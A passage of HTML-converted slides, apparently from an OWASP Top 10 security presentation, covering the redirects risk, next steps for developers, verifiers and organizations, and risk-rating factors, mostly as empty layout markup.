Avoiding such flaws is extremely important as they are a favorite target of phishers trying to gain the user’s trust.

<div id="Title_25" class="P5" style="height: 2.116cm; width: 15.239cm">

Unvalidated Redirects and Forwards

<div id="Text_Placeholder_26" class="P5" style="height: 2.307cm; width: 3.597cm">


 * • A10

Security Weakness

Attack

Vectors

Technical Impacts

Threat Agents

Business Impacts

<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

16  16

<div id="Table_6" style="height: 22.009cm; width: 19.049cm">



<div id="Title_9" class="P5" style="height: 2.116cm; width: 15.239cm">

What’s Next for Developers

<div id="Text_Placeholder_10" class="P5" style="height: 2.307cm; width: 3.597cm">


 * • +D

<div id="{99114BD6-AB84-47D7-90FA-E674D66B7A70}" class="P8" style="height: 4.656cm; width: 4.867cm">



<div id="{39F11DF5-92F1-4803-9176-8CE41A00F711}" class="P8" style="height: 4.656cm; width: 4.867cm">



<div id="{5CF86F3C-C725-40E9-9BD5-DEF8085DEA2E}" class="P8" style="height: 4.656cm; width: 4.867cm">



<div id="{35005AD2-355F-4221-AFBE-62EE5EE8EED6}" class="P8" style="height: 0.001cm; width: 0.001cm">



<div id="{DB4CDFA1-2818-4A44-954F-EB22B78FAC9C}" class="P8" style="height: 4.656cm; width: 4.867cm">



<div id="{E9B37935-A190-492F-89CA-C506985D7367}" class="P8" style="height: 4.656cm; width: 4.867cm">



<div id="{88BEC42B-0235-4112-AA8D-C1D1764EF8E1}" class="P8" style="height: 4.656cm; width: 4.867cm">



<div id="{41C02D83-CEEC-4620-A615-8B5A4D00B738}" class="P8" style="height: 4.656cm; width: 4.867cm">



<div id="{E3D14D2D-CB9A-4BA6-A4F0-30D73ED14363}" class="P8" style="height: 4.656cm; width: 4.867cm">



<div id="{0527E629-D6A1-4D08-92A0-442047772A1B}" class="P8" style="height: 4.656cm; width: 4.867cm">



<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

17  17

<div id="Table_8" style="height: 10.557cm; width: 19.049cm">



<div id="Title_5" class="P5" style="height: 2.116cm; width: 15.239cm">

What’s Next for Verifiers

<div id="Text_Placeholder_6" class="P5" style="height: 2.307cm; width: 3.597cm">


 * • +V

<div id="Table_9" style="height: 12.275cm; width: 9.524cm">



<div id="Table_10" style="height: 13.04cm; width: 9.312cm">



<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

18  18

<div id="Table_8" style="height: 22.223cm; width: 19.049cm">



<div id="Title_5" class="P5" style="height: 2.116cm; width: 15.239cm">

What’s Next for Organizations

<div id="Text_Placeholder_6" class="P5" style="height: 2.307cm; width: 3.597cm">


 * • +O

<div id="{99114BD6-AB84-47D7-90FA-E674D66B7A70}" class="P8" style="height: 5.643cm; width: 4.021cm">



<div id="{BCC482EA-6C38-44EB-ABEC-842881B2C10F}" class="P8" style="height: 0.001cm; width: 0.001cm">



<div id="{5723059F-06B7-4E57-89DB-EF1AC9A66654}" class="P8" style="height: 5.643cm; width: 4.021cm">



<div id="{F576BD5F-AD4E-429F-935A-1A67C630AE0F}" class="P8" style="height: 5.643cm; width: 4.021cm">



<div id="{9E1EBBD0-E4A0-4B33-A4CB-F66E80AADE45}" class="P8" style="height: 5.643cm; width: 4.021cm">



<div id="{BDF0D463-07CB-4904-B045-2FC63D99B581}" class="P8" style="height: 5.643cm; width: 4.021cm">



<div id="{7FF32AF6-DBCC-4EB2-B43B-A00188F7D204}" class="P8" style="height: 5.643cm; width: 4.021cm">



<div id="{FE1D3C8A-BAB1-4DF8-A33A-DAA9700726E1}" class="P8" style="height: 0.001cm; width: 0.001cm">



<div id="{024BBBE2-0706-4354-8AB0-3262009E8862}" class="P8" style="height: 5.643cm; width: 4.021cm">



<div id="{31D7BC77-F301-4E5F-8A9F-BD9C4229C695}" class="P8" style="height: 5.643cm; width: 4.021cm">



<div id="{39E7FF2B-BF9A-4849-B74B-F0434B480B07}" class="P8" style="height: 5.643cm; width: 4.021cm">



<div id="{085D3A5B-E8C3-4ABB-9F97-7914BC595087}" class="P8" style="height: 0.001cm; width: 0.001cm">



<div id="{C40210B5-480D-4766-978A-36F3F23CB9B8}" class="P8" style="height: 5.643cm; width: 4.021cm">



<div id="{7816F859-9BB8-418F-993B-33CDEC6D01E8}" class="P8" style="height: 5.643cm; width: 4.021cm">



<div id="{D8BC7F1A-0E3C-445E-9575-4512324EDAC9}" class="P8" style="height: 5.643cm; width: 4.021cm">



<div id="{0945CDD4-9E6A-4629-B151-EFF4819549CB}" class="P8" style="height: 0.001cm; width: 0.001cm">



<div id="{29D76988-94EC-456A-9326-82A5AA778D9E}" class="P8" style="height: 5.643cm; width: 4.021cm">



<div id="{168F1251-0689-442A-B8FC-0A781112776D}" class="P8" style="height: 5.643cm; width: 4.021cm">



<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

19  19

<div id="Table_6" style="height: 22.223cm; width: 19.049cm">



<div id="Title_9" class="P5" style="height: 2.368cm; width: 15.239cm">

Notes About Risk

<div id="Text_Placeholder_12" class="P5" style="height: 2.307cm; width: 3.597cm">


 * • +R

<div id="Table_4" style="height: 9.435cm; width: 18.413cm">



<div id="Picture_2" class="P8" style="height: 1.692cm; width: 6.45cm">



<div id="Picture_2" class="P8" style="height: 1.692cm; width: 6.45cm">



2

Security Weakness

Attack

Vectors

Technical Impacts

Threat Agents

Business Impacts

<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

20  20

<div id="Table_33" style="height: 4.491cm; width: 19.049cm">



<div id="Title_62" class="P5" style="height: 2.116cm; width: 15.239cm">

Details About Risk Factors

<div id="Text_Placeholder_64" class="P5" style="height: 2.307cm; width: 3.597cm">


 * • +F

<div id="Table_67" style="height: 13.518cm; width: 19.048cm">



Security Weakness

Attack

Vectors

Technical Impacts

<div id="Table_14" style="height: 7.022cm; width: 19.049cm">



Threat Agents

Business Impacts

Prevalence

Detectability

Exploitability

Impact

<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

21  21

<div id="Picture_2" class="P8" style="height: 25.399cm; width: 19.131cm">



<div id="Notes_Placeholder_2" class="P5" style="height: 0.001cm; width: 0.001cm">

<div id="Slide_Number_Placeholder_3" class="P4" style="height: 0.001cm; width: 0.001cm">

21  21